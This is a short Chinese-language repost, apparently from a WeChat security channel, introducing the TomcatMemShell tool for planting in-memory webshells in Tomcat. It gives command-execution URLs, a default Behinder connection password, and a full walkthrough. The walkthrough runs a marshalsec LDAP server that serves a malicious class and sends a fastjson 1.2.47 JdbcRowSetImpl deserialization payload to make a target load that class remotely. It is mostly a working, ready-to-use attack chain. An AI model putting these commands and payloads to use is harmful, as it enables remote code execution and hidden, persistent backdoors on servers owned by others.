一、工具简介
二、使用方法
1、Listener型/Filter型:
CMD内存马URL：xx.xx.xx.xx/?chan=whoami冰蝎内存马URL：xx.xx.xx.xx/ 默认连接密码：goautomne
2、Servlet型：
CMD内存马URL: xx.xx.xx.xx/p?chan=whoami冰蝎内存马URL: xx.xx.xx.xx/p 默认连接密码：goautomne
三、利用举例
以fastjson1.2.47版本的反序列化漏洞为例，将对应Tomcat版本的class文件，这里以ILRain.class为例，上传到web服务器，并开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#ILRain 9102然后再打入fastjson漏洞的poc,就可以使用冰蝎客户端去连接了
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:9102/123","autoCommit":true}}
四、下载地址
项目地址：https://github.com/ce-automne/TomcatMemShell
好文推荐
欢迎关注 系统安全运维
文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247506855&idx=1&sn=563506565571f1784ad1cb24008bcc06&chksm=c30808d7f47f81c11b8c5f13ce3a0cc14053a77333a251cd6b2d6ba40dc9296074ae3ffd055e#rd
如有侵权请联系:admin#unsafe.sh
如有侵权请联系:admin#unsafe.sh